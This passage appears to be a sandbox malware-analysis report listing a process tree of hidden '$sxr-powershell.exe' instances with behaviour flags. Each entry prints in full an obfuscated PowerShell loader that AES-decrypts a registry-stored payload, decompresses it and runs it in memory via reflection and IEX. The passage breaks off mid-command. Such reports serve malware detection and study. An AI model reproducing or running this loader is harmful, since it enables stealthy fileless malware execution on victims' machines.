[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Checks computer location settings
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Drops file in System32 directory
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:4040
      - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4040).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious use of SetThreadContext
        
        PID:3488
      - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4040).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious use of SetThreadContext
        
        PID:5716
      - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4040).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join 